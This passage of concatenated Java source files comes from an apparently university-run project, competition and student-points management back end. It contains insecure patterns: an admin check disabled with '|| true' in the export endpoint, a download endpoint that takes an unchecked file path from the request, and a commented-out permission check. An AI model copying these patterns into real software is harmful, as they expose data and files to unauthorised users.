import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.enterprise.dao.InnovateEnterpriseInfoDao;
import com.innovate.modules.enterprise.entity.InnovateEnterpriseInfoEntity;
import com.innovate.modules.enterprise.service.InnovateEnterpriseInfoService;
@Service("innovateEnterpriseInfoService")
public class InnovateEnterpriseInfoServiceImpl extends ServiceImpl<InnovateEnterpriseInfoDao, InnovateEnterpriseInfoEntity> implements InnovateEnterpriseInfoService {
@Override
public PageUtils queryPage(Map<String, Object> params) {
ExportShiro exportShiro = new ExportShiro<InnovateEnterpriseInfoEntity>();
Page<InnovateEnterpriseInfoEntity> page = this.selectPage(
new Query<InnovateEnterpriseInfoEntity>(params).getPage(),
exportShiro.queryExport(params, new EntityWrapper<InnovateEnterpriseInfoEntity>()));
return new PageUtils(page);
}
@Override
public void delList(List<Long> list) {
baseMapper.delList(list);
}
@Override
public List<InnovateEnterpriseInfoEntity> queryListByIds(List<Long> trainBaseIds, Map<String, Object> params) {
ExportShiro exportShiro = new ExportShiro<InnovateEnterpriseInfoEntity>();
return trainBaseIds.size() > 0 ? this.selectBatchIds(trainBaseIds)
: this.selectList(exportShiro.queryExport(params, new EntityWrapper<InnovateEnterpriseInfoEntity>()));
}
}
<file_sep>package com.innovate.modules.innovate.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import com.fasterxml.jackson.databind.annotation.JsonSerialize;
import com.fasterxml.jackson.databind.ser.std.ToStringSerializer;
import lombok.Data;
import java.io.Serializable;
import java.sql.Timestamp;
import java.util.Date;
/**
* @author:tz
* @create:2019-01-08
* @description:项目月报表统计
**/
@Data
@TableName("innovate_project_monthly_report_total")
public class ProjectMonthlyReportTotalEntity implements Serializable {
private Long projectId;
@JsonSerialize(using=ToStringSerializer.class)
private Double totalInvestCapital;
@JsonSerialize(using=ToStringSerializer.class)
private Double totalSales;
@JsonSerialize(using=ToStringSerializer.class)
private Double totalProfits;
@JsonSerialize(using=ToStringSerializer.class)
private Double totalTax;
private Date totalStartTime;
private Date totalEndTime;
}
<file_sep>package com.innovate.modules.points.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.points.entity.InnovateSysPointsEntity;
import java.util.List;
import java.util.Map;
/**
* 积分标准
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:45:59
*/
public interface InnovateSysPointsService extends IService<InnovateSysPointsEntity> {
PageUtils queryPage(Map<String, Object> params);
int deleteList(List<Long> asList);
List selectPoints(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.enterprise.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.enterprise.entity.InnovateEnterpriseAchieveEntity;
import java.util.List;
import java.util.Map;
/**
* 企业成果
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:42:32
*/
public interface InnovateEnterpriseAchieveService extends IService<InnovateEnterpriseAchieveEntity> {
PageUtils queryPage(Map<String, Object> params);
void delList(List<Long> listId);
//导出
// List<InnovateEnterpriseAchieveEntity> queryListByIds(List<Long> enterpAchieveIds);
List<InnovateEnterpriseAchieveEntity> queryListByIds(Map<String, Object> params);
InnovateEnterpriseAchieveEntity selectListById(Long enterpAchieveId);
}
<file_sep>package com.innovate.modules.finish.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.finish.entity.FinishReviewEntity;
import com.innovate.modules.match.entity.MatchUnScoreTeacherEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @Email:<EMAIL>
* @date 2018/11/19 18:38
* @Version 1.0
*/
@Mapper
public interface FinishReviewDao extends BaseMapper<FinishReviewEntity> {
List<FinishReviewEntity> queryAll(Map<String, Object> params);
void remove(Map<String, Object> params);
/**
* 统计未评分的个数
*/
Long queryCount(Map<String, Object> params);
/**
* 计算平均分
*/
Double queryScoreAvg(Map<String, Object> params);
//查询分数
FinishReviewEntity queryScore(Map<String, Object> params);
//批量插入
Integer insertBatch(List<FinishReviewEntity> list);
/**
* 查询未评分评委信息
*/
List<MatchUnScoreTeacherEntity> queryTeacher(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.match.controller;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import com.innovate.modules.match.entity.MatchReviewEntity;
import com.innovate.modules.match.entity.MatchUnScoreTeacherEntity;
import com.innovate.modules.match.service.MatchReviewService;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 21:10
* @Version 1.0
*/
@RestController
@RequestMapping("innovate/match/review")
public class MatchReviewController extends AbstractController {
@Autowired
private MatchReviewService matchReviewService;
/**
* 分配评委组绑定用户
*/
@PostMapping("/review")
@RequiresPermissions("innovate:match:list")
public R review(@RequestBody Map<String,Object> params){
matchReviewService.reviewUser(params);
return R.ok();
}
/**
* 评分
*/
@PostMapping("/score")
@RequiresPermissions("innovate:match:list")
public R score(@RequestBody(required = false) MatchReviewEntity matchReviewEntity){
matchReviewService.score(matchReviewEntity);
return R.ok();
}
/**
* 查询评分
*/
@GetMapping("/info")
@RequiresPermissions("innovate:match:list")
public R info(@RequestParam Map<String,Object> params){
MatchReviewEntity matchReviewEntity = matchReviewService.queryScore(params);
return R.ok().put("matchReviewEntity",matchReviewEntity);
}
/**
* 查询未评分评委
*/
@GetMapping("/noScoreTeacher")
@RequiresPermissions("innovate:match:list")
public R unReviewTeacher(@RequestParam Map<String,Object> params){
List<MatchUnScoreTeacherEntity> noScoreTeacher = matchReviewService.queryTeacher(params);
return R.ok().put("noScoreTeacher", noScoreTeacher);
}
/**
* 查询未评分
*/
@GetMapping("/unReview")
@RequiresPermissions("innovate:declare:list")
public R unReview(@RequestParam Map<String,Object> params){
PageUtils page = matchReviewService.unReview(params);
return R.ok().put("page",page);
}
/**
* 修改
*/
@PostMapping("/update")
@RequiresPermissions("innovate:match:list")
public R update(@RequestBody MatchReviewEntity matchReviewEntity){
matchReviewService.updateAllColumnById(matchReviewEntity);
return R.ok();
}
}
<file_sep>package com.innovate.modules.innovate.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.innovate.entity.BaseInfoEntity;
import org.apache.ibatis.annotations.Mapper;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 16:30
* @Version 1.0
*/
@Mapper
public interface BaseInfoDao extends BaseMapper<BaseInfoEntity> {
}
<file_sep>package com.innovate.modules.innovate.controller;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import com.innovate.modules.innovate.entity.InnovateSubjectEntity;
import com.innovate.modules.innovate.entity.InnovateTitleEntity;
import com.innovate.modules.innovate.service.InnovateSubjectService;
import com.innovate.modules.innovate.service.InnovateTitleService;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.Arrays;
import java.util.List;
import java.util.Map;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/6
**/
@RestController
@RequestMapping("innovate/sys/title")
public class InnovateTitleController extends AbstractController {
@Autowired
private InnovateTitleService innovateTitleService;
/**
* 所有列表
*/
@GetMapping("/list")
@RequiresPermissions("innovate:title:list")
public R list(@RequestParam Map<String, Object> params){
PageUtils page = innovateTitleService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 职称信息
*/
@GetMapping("/title")
// @RequiresPermissions("innovate:title:list")
public R allTitle(@RequestParam Map<String, Object> params){
List<InnovateTitleEntity> innovateTitleEntities = innovateTitleService.queryTitle(params);
return R.ok()
.put("innovateTitleEntities", innovateTitleEntities);
}
/**
* 所有
*/
@GetMapping("/all")
public R all(){
List<InnovateTitleEntity> title = innovateTitleService.queryAll();
return R.ok()
.put("title", title);
}
/**
* 信息
*/
@GetMapping("/info/{titleIds}")
@RequiresPermissions("innovate:title:info")
public R info(@PathVariable("titleIds") Integer titleIds){
InnovateTitleEntity title = innovateTitleService.selectById(titleIds);
return R.ok().put("title", title);
}
/**
* 保存
*/
@PostMapping("/save")
@RequiresPermissions("innovate:title:save")
public R save(@RequestBody InnovateTitleEntity innovateTitleEntity){
innovateTitleService.insert(innovateTitleEntity);
return R.ok();
}
/**
* 修改
*/
@PostMapping("/update")
@RequiresPermissions("innovate:title:update")
public R update(@RequestBody InnovateTitleEntity innovateTitleEntity){
innovateTitleService.updateAllColumnById(innovateTitleEntity);
return R.ok();
}
/**
* 删除
*/
@PostMapping("/delete")
@RequiresPermissions("innovate:title:delete")
public R delete(@RequestBody Long[] titleIds){
innovateTitleService.deleteBatchIds(Arrays.asList(titleIds));
return R.ok();
}
}
<file_sep>package com.innovate.modules.check.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.check.entity.InnovateCheckRetreatEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* 中期检查回退
*
* @author Mikey
* @email <EMAIL>
* @date 2019-09-18 22:20:42
*/
@Mapper
public interface InnovateCheckRetreatDao extends BaseMapper<InnovateCheckRetreatEntity> {
List<InnovateCheckRetreatEntity> queryByParams(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.innovate.service.impl;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.innovate.dao.ProjectStaffInfoDao;
import com.innovate.modules.innovate.entity.ProjectStaffInfoEntity;
import com.innovate.modules.innovate.service.ProjectStaffInfoService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 17:43
* @Version 1.0
*/
@Service
public class ProjectStaffInfoServiceImpl extends ServiceImpl<ProjectStaffInfoDao, ProjectStaffInfoEntity> implements ProjectStaffInfoService {
@Override
public List<ProjectStaffInfoEntity> queryAll(Map<String, Object> params) {
return baseMapper.queryAll(params);
}
@Override
public void remove(Map<String, Object> params) {
baseMapper.remove(params);
}
}
<file_sep>package com.innovate.modules.match.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.modules.match.entity.MatchReviewPointEntity;
import java.util.List;
import java.util.Map;
/**
* @Program: innovate-admin
* @Author: 麦奇
* @Email: <EMAIL>
* @Create: 2019-02-28 19:39
* @Describe:
**/
public interface MatchReviewPointService extends IService<MatchReviewPointEntity> {
//通过类型查找评审要点
List<MatchReviewPointEntity> queryAllReviewPointByReviewType(Map<String, Object> params);
//获取所有
List<MatchReviewPointEntity> queryAllReviewPoint();
}
<file_sep>package com.innovate.modules.match.service;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.match.entity.MatchInfoModel;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
import java.util.Map;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/12/4
* 数据操作service
**/
public interface MatchInfoModelService {
// 项目分页查询
PageUtils queryPage(Map<String, Object> params);
// 项目不分页查询
List<MatchInfoModel> queryAll(Map<String, Object> params);
// 条件查询
MatchInfoModel query(Map<String, Object> params);
// 保存项目
@Transactional
void saveEntity(MatchInfoModel matchInfoModel);
//获奖情况
void saveAwardEntity(MatchInfoModel matchInfoModel);
// 更新项目
@Transactional
void updateEntity(MatchInfoModel matchInfoModel);
// 保存或更新项目属性
@Transactional
void saveOrupdateProps(MatchInfoModel matchInfoModel);
// 删除项目
@Transactional
void deleteEntity(Map<String, Object> params);
// 删除项目属性
@Transactional
void deleteProps(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.finish.service.impl;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.finish.entity.FinishInfoEntity;
import com.innovate.modules.finish.entity.FinishReviewEntity;
import com.innovate.modules.finish.entity.FinishTeacherEntity;
import com.innovate.modules.finish.service.FinishTeacherService;
import com.innovate.modules.finish.dao.FinishReviewDao;
import com.innovate.modules.finish.service.FinishApplyService;
import com.innovate.modules.finish.service.FinishInfoService;
import com.innovate.modules.finish.service.FinishReviewService;
import com.innovate.modules.innovate.entity.InnovateReviewGroupUserEntity;
import com.innovate.modules.innovate.service.InnovateReviewGroupUserService;
import com.innovate.modules.match.entity.MatchUnScoreTeacherEntity;
import com.innovate.modules.sys.service.SysUserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.*;
/**
* @author Mikey
* @Title:
* @Description:
* @Email:<EMAIL>
* @date 2018/11/19 18:43
* @Version 1.0
*/
@Service
public class FinishReviewServiceImpl extends ServiceImpl<FinishReviewDao, FinishReviewEntity> implements FinishReviewService {
@Autowired
private FinishReviewService finishReviewService;
@Autowired
private FinishApplyService finishApplyService;
@Autowired
private FinishInfoService finishInfoService;
@Autowired
private FinishTeacherService finishTeacherService;
@Autowired
private InnovateReviewGroupUserService innovateReviewGroupUserService;
@Autowired
private SysUserService sysUserService;
@Override
public List<FinishReviewEntity> queryAll(Map<String, Object> params) {
return baseMapper.queryAll(params);
}
@Override
public void remove(Map<String, Object> params) {
baseMapper.remove(params);
}
@Override
public Long queryCount(Map<String, Object> params){
return baseMapper.queryCount(params);
}
@Override
public Double queryScoreAvg(Map<String, Object> params) {
return baseMapper.queryScoreAvg(params);
}
/**
* 查询未评分
* @param params
* @return
*/
@Override
public PageUtils unReview(Map<String, Object> params) {
EntityWrapper<FinishReviewEntity> ew = new EntityWrapper<>();
ew.isNull("score").eq("is_del",0);//未评分
if (params.get("finishTime")!=null)ew.like("finish_year",params.get("finishTime").toString());
Page<FinishReviewEntity> page = this.selectPage(
new Query<FinishReviewEntity>(params).getPage(),ew
);
List<FinishReviewEntity> records = page.getRecords();
records.forEach(v->{
v.setSysUserEntity(sysUserService.selectById(v.getUserId()));
v.setFinishInfoEntity(finishInfoService.selectById(v.getFinishId()));
});
page.setRecords(records);
return new PageUtils(page);
}
/**
* 查询未评分评委信息
*/
@Override
public List<MatchUnScoreTeacherEntity> queryTeacher(Map<String, Object> params) {
return baseMapper.queryTeacher(params);
}
@Override
public void reviewUser(Map<String,Object> params) {
Long finishId = Long.parseLong(params.get("finishId").toString());
Long groupId = Long.parseLong(params.get("groupId").toString());
Long userId = Long.parseLong(params.get("userId").toString());
String apply = params.get("apply").toString();
String reApply = params.get("reApply").toString();
FinishInfoEntity finishInfoEntity = finishInfoService.selectById(finishId);
finishInfoEntity.setGroupId(groupId);
finishInfoService.updateById(finishInfoEntity);
List<FinishTeacherEntity> finishTeacherEntities = finishTeacherService.queryAll(params);
List<InnovateReviewGroupUserEntity> innovateReviewGroupUserEntities = innovateReviewGroupUserService.queryAllGroupUser(groupId);
finishReviewService.remove(params);
FinishReviewEntity finishReviewEntity = null;
List<FinishReviewEntity> tempSet = new ArrayList<>();
for (int index = 0; index < innovateReviewGroupUserEntities.size(); index++) {
for (int indexJ = 0; indexJ < finishTeacherEntities.size(); indexJ++) {
if (innovateReviewGroupUserEntities.get(index).getUserId() != finishTeacherEntities.get(indexJ).getUserId()) {
finishReviewEntity = new FinishReviewEntity();
finishReviewEntity.setApply(apply);
finishReviewEntity.setFinishId(finishId);
finishReviewEntity.setFinishYear(finishInfoEntity.getFinishYear());//年度
finishReviewEntity.setUserId(innovateReviewGroupUserEntities.get(index).getUserId());
//评委重复问题
// finishReviewService.insert(finishReviewEntity);
tempSet.add(finishReviewEntity);
}
}
}
baseMapper.insertBatch(tempSet);
if (reApply.equals("false")) {
//更新状态
finishApplyService.apply(params);
}
}
@Override
public void score(FinishReviewEntity finishReviewEntity) {
Long finishId = finishReviewEntity.getFinishId();
finishReviewService.updateById(finishReviewEntity);
String apply = finishReviewEntity.getApply();
Map<String, Object> params = new HashMap<>();
params.put("finishId", finishId);
params.put("roleId", 6);
params.put("apply", apply);
Long count = finishReviewService.queryCount(params);
if (count == 0L){
finishApplyService.apply(params);
//计算平均分
Double scoreAvg = finishReviewService.queryScoreAvg(params);
FinishInfoEntity finishInfoEntity = finishInfoService.selectById(finishId);
finishInfoEntity.setFinishScoreAvg(scoreAvg);
finishInfoService.updateById(finishInfoEntity);
}
}
@Override
public FinishReviewEntity queryScore(Map<String,Object> params) {
return baseMapper.queryScore(params);
}
}
<file_sep>package com.innovate.modules.points.controller;
import java.io.File;
import java.util.*;
import com.innovate.common.utils.OSSUtils;
import com.innovate.modules.util.FileUtils;
import com.innovate.modules.util.RandomUtils;
import lombok.extern.slf4j.Slf4j;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import com.innovate.modules.points.entity.InnovateStudentPointsAttachEntity;
import com.innovate.modules.points.service.InnovateStudentPointsAttachService;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import org.springframework.web.multipart.MultipartFile;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
* 学生积分申请附件
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:45:59
*/
@RestController
@RequestMapping("points/attach")
@Slf4j
public class InnovateStudentPointsAttachController {
@Autowired
private InnovateStudentPointsAttachService innovateStudentPointsAttachService;
/**
* 列表
*/
@RequestMapping("/list")
@RequiresPermissions("points:innovatestudentpointsattach:list")
public R list(@RequestParam Map<String, Object> params){
PageUtils page = innovateStudentPointsAttachService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 信息
*/
@RequestMapping("/info/{attachId}")
@RequiresPermissions("points:innovatestudentpointsattach:info")
public R info(@PathVariable("attachId") Long attachId){
InnovateStudentPointsAttachEntity innovateStudentPointsAttach = innovateStudentPointsAttachService.selectById(attachId);
return R.ok().put("innovateStudentPointsAttach", innovateStudentPointsAttach);
}
/**
* 保存
*/
@RequestMapping("/save")
@RequiresPermissions("points:innovatestudentpointsattach:save")
public R save(@RequestBody InnovateStudentPointsAttachEntity innovateStudentPointsAttach){
innovateStudentPointsAttachService.insert(innovateStudentPointsAttach);
return R.ok();
}
/**
* 修改
*/
@RequestMapping("/update")
@RequiresPermissions("points:innovatestudentpointsattach:update")
public R update(@RequestBody InnovateStudentPointsAttachEntity innovateStudentPointsAttach){
innovateStudentPointsAttachService.updateById(innovateStudentPointsAttach);
return R.ok();
}
/**
* 删除
*/
@RequestMapping("/delete")
@RequiresPermissions("points:innovatestudentpointsattach:delete")
public R delete(@RequestBody Long[] attachIds){
innovateStudentPointsAttachService.deleteBatchIds(Arrays.asList(attachIds));
return R.ok();
}
/**
* 文件上传
* @param files
* @param request
* @return
*/
@PostMapping(value = "/upload")
@RequiresPermissions("points:innovatestudentpointsapply:save")
public Object uploadFile(@RequestParam("file") List<MultipartFile> files, HttpServletRequest request) {
String stuNum = request.getParameter("stuNum");
if (stuNum==null||stuNum.equals(""))stuNum="StuNumISNull";
// String UPLOAD_FILES_PATH = ConfigApi.UPLOAD_URL + finishName + "/"+ RandomUtils.getRandomNums()+"/";
String UPLOAD_FILES_PATH = "pointsApply"+ File.separator + Calendar.getInstance().get(Calendar.YEAR) + File.separator+stuNum + "/"+ RandomUtils.getRandomNums()+"/";
if (Objects.isNull(files) || files.isEmpty()) {
return R.error("文件为空,请重新上传");
}
InnovateStudentPointsAttachEntity pointsAttachEntity = null;
for(MultipartFile file : files){
String fileName = file.getOriginalFilename();
// String fileName = file.getOriginalFilename() + "(" +DateUtils.format(new Date(), "yyyy-MM-dd HH:mm:ss") + ")";
// result = FileUtils.upLoad(UPLOAD_FILES_PATH, fileName, file);
OSSUtils.upload2OSS(file,UPLOAD_FILES_PATH+fileName);
UPLOAD_FILES_PATH += fileName;
pointsAttachEntity = new InnovateStudentPointsAttachEntity();
pointsAttachEntity.setAttachPath(UPLOAD_FILES_PATH);
pointsAttachEntity.setAttachName(fileName);
}
return R.ok("文件上传成功")
.put("pointsAttachEntity", pointsAttachEntity);
}
/**
* 文件下载
*/
@PostMapping(value = "/download")
@RequiresPermissions("points:innovatestudentpointsapply:info")
public void downloadFile(final HttpServletResponse response, final HttpServletRequest request) {
String filePath = request.getParameter("filePath");
FileUtils.download(response, filePath);
}
}
<file_sep>package com.innovate.modules.declare.service.impl;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.modules.declare.dao.DeclareInfoDao;
import com.innovate.modules.declare.entity.DeclareInfoEntity;
import com.innovate.modules.declare.service.DeclareInfoService;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 17:35
* @Version 1.0
*/
@Service
public class DeclareInfoServiceImpl extends ServiceImpl<DeclareInfoDao, DeclareInfoEntity> implements DeclareInfoService {
@Override
public DeclareInfoEntity queryById(Long declareId) {
return baseMapper.queryById(declareId);
}
@Override
public Integer queryCountPage(Map<String, Object> params) {
return baseMapper.queryCountPage(params);
}
@Override
public List<DeclareInfoEntity> queryPage(Map<String, Object> params) {
return baseMapper.queryPage(params);
}
@Override
public List<DeclareInfoEntity> noPass(Map<String, Object> params) {
return baseMapper.noPass(params);
}
@Override
public Long queryDeclareProjectNum(Map<String, Object> params) {
return baseMapper.queryDeclareProjectNum(params);
}
@Override
public Long queryNewProjectNum(Map<String, Object> params) {
return baseMapper.queryNewProjectNum(params);
}
@Override
public Long queryTrainProjectNum(Map<String, Object> params) {
return baseMapper.queryTrainProjectNum(params);
}
@Override
public Long queryPracticeProjectNum(Map<String, Object> params) {
return baseMapper.queryPracticeProjectNum(params);
}
@Override
public void remove(Map<String, Object> params) {
baseMapper.remove(params);
}
}
<file_sep>package com.innovate.modules.innovate.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.innovate.entity.BaseCostEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 16:16
* @Version 1.0
*/
@Mapper
public interface BaseCostDao extends BaseMapper<BaseCostEntity> {
List<BaseCostEntity> list(Long baseId);
}
<file_sep>package com.innovate.modules.match.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.modules.match.entity.MatchStaffInfoEntity;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 17:15
* @Version 1.0
*/
public interface MatchStaffInfoService extends IService<MatchStaffInfoEntity> {
List<MatchStaffInfoEntity> queryAll(Map<String, Object> params);
//统计参与者个数
Long queryUserNum(Map<String, Object> params);
void remove(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.declare.controller;
import com.innovate.common.utils.R;
import com.innovate.modules.declare.entity.DeclareRetreatEntity;
import com.innovate.modules.declare.service.DeclareRetreatService;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-12-15
* @description:项目流程回退
**/
@RestController
@RequestMapping("innovate/declare/retreat")
public class DeclareRetreatController extends AbstractController {
@Autowired
private DeclareRetreatService declareRetreatService;
/**
* 不通过
*/
@PostMapping("/retreat")
@RequiresPermissions("innovate:declare:retreat")
public R retreat(@RequestParam Map<String, Object> params) {
declareRetreatService.updateRetreat(params);
return R.ok();
}
/**
* 回退修改
*/
@PostMapping("/update")
@RequiresPermissions("innovate:declare:retreat")
public R update(@RequestParam Map<String, Object> params) {
declareRetreatService.updateRetreat(params);
return R.ok();
}
@PostMapping("/query")
@RequiresPermissions("innovate:declare:list")
public R noPass(@RequestParam Map<String, Object> params){
List<DeclareRetreatEntity> retreatEntityList = declareRetreatService.queryAll(params);
return R.ok().put("retreatEntityList",retreatEntityList);
}
}
<file_sep>package com.innovate.common.utils;
import java.util.HashMap;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/24
**/
public class StringMapUtils extends HashMap<String, Object> {
private StringUtils stringUtils = new StringUtils();
@Override
public StringMapUtils put(String key, Object value) {
key = stringUtils.findProperty(key, true);
super.put(key, value);
return this;
}
}
<file_sep>package com.innovate.modules.innovate.controller;
import com.innovate.common.utils.R;
import com.innovate.modules.innovate.entity.ProjectRetreatEntity;
import com.innovate.modules.innovate.service.ProjectRetreatService;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-12-15
* @description:项目流程回退
**/
@RestController
@RequestMapping("innovate/project/retreat")
public class ProjectRetreatController extends AbstractController {
@Autowired
private ProjectRetreatService projectRetreatService;
/**
* 不通过
*/
@PostMapping("/retreat")
@RequiresPermissions("innovate:project:retreat")
public R retreat(@RequestParam Map<String, Object> params) {
projectRetreatService.updateRetreat(params);
return R.ok();
}
/**
* 回退修改
*/
@PostMapping("/update")
@RequiresPermissions("innovate:project:retreat")
public R update(@RequestParam Map<String, Object> params) {
projectRetreatService.updateRetreat(params);
return R.ok();
}
@PostMapping("/query")
@RequiresPermissions("innovate:project:list")
public R noPass(@RequestParam Map<String, Object> params){
List<ProjectRetreatEntity> retreatEntityList = projectRetreatService.queryAll(params);
return R.ok().put("retreatEntityList",retreatEntityList);
}
}
<file_sep>package com.innovate.modules.enterprise.controller;
import java.net.URLEncoder;
import java.util.Arrays;
import java.util.List;
import java.util.Map;
import com.alibaba.excel.EasyExcel;
import com.alibaba.excel.ExcelWriter;
import com.alibaba.excel.write.metadata.WriteSheet;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.mapper.Wrapper;
import com.innovate.common.utils.ShiroUtils;
import com.innovate.modules.enterprise.entity.InnovateEnterpriseProjectEntity;
import com.innovate.modules.sys.entity.SysUserEntity;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import com.innovate.modules.enterprise.entity.InnovateAwardProjectTypeEntity;
import com.innovate.modules.enterprise.service.InnovateAwardProjectTypeService;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import javax.servlet.http.HttpServletResponse;
/**
* 企业获奖项目类型
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:42:31
*/
@RestController
@RequestMapping("enterprise/innovateawardprojecttype")
public class InnovateAwardProjectTypeController {
static int a = 123;
@Autowired
private InnovateAwardProjectTypeService innovateAwardProjectTypeService;
/**
* 列表
*/
@RequestMapping("/list")
@RequiresPermissions("enterprise:innovateawardprojecttype:list")
public R list(@RequestParam Map<String, Object> params){
PageUtils page = innovateAwardProjectTypeService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 信息
*/
@RequestMapping("/info/{awardProjectTypeId}")
@RequiresPermissions("enterprise:innovateawardprojecttype:info")
public R info(@PathVariable("awardProjectTypeId") Long awardProjectjTypeId){
InnovateAwardProjectTypeEntity innovateAwardProjectType = innovateAwardProjectTypeService.selectById(awardProjectjTypeId);
return R.ok().put("innovateAwardProjectType", innovateAwardProjectType);
}
/**
* 保存
*/
@RequestMapping("/save")
@RequiresPermissions("enterprise:innovateawardprojecttype:save")
public R save(@RequestBody InnovateAwardProjectTypeEntity innovateAwardProjectType){
innovateAwardProjectTypeService.insert(innovateAwardProjectType);
return R.ok();
}
/**
* 修改
*/
@RequestMapping("/update")
@RequiresPermissions("enterprise:innovateawardprojecttype:update")
public R update(@RequestBody InnovateAwardProjectTypeEntity innovateAwardProjectType){
innovateAwardProjectTypeService.updateById(innovateAwardProjectType);
return R.ok();
}
/**
* 删除
*/
@RequestMapping("/delete")
@RequiresPermissions("enterprise:innovateawardprojecttype:delete")
public R delete(@RequestBody Long[] awardProjectTypeIds){
innovateAwardProjectTypeService.deleteBatchIds(Arrays.asList(awardProjectTypeIds));
return R.ok();
}
/**
* 导出
*/
@PostMapping("/export")
@RequiresPermissions("enterprise:innovateenterpriseinfo:list")
public void export(@RequestBody List<Long> awardProjectTypeIds, HttpServletResponse response){
List<InnovateAwardProjectTypeEntity> projectEntities;
response.setContentType("application/vnd.ms-excel");
response.setCharacterEncoding("utf-8");
/* 获取当前登录用户 */
SysUserEntity userEntity = ShiroUtils.getUserEntity();
String adminName = userEntity.getUsername();
ExcelWriter excelWriter = null;
try {
String fileName = URLEncoder.encode("企业获奖项目类型信息", "UTF-8");
response.setHeader("Content-disposition","attachment;filename"+fileName+".xlsx");
/* 权限判断:当前用户为管理员(暂时不做权限限制) */
if ("wzxyGLY".equals(adminName) || true){
excelWriter = EasyExcel.write(response.getOutputStream(), InnovateAwardProjectTypeEntity.class).build();
WriteSheet writeSheet = EasyExcel.writerSheet(0, "企业获奖项目类型信息").build();
projectEntities = innovateAwardProjectTypeService.queryListByIds(awardProjectTypeIds);
excelWriter.write(projectEntities,writeSheet);
}
}catch (Exception e){
e.printStackTrace();
}finally {
// 千万别忘记finish 会帮忙关闭流
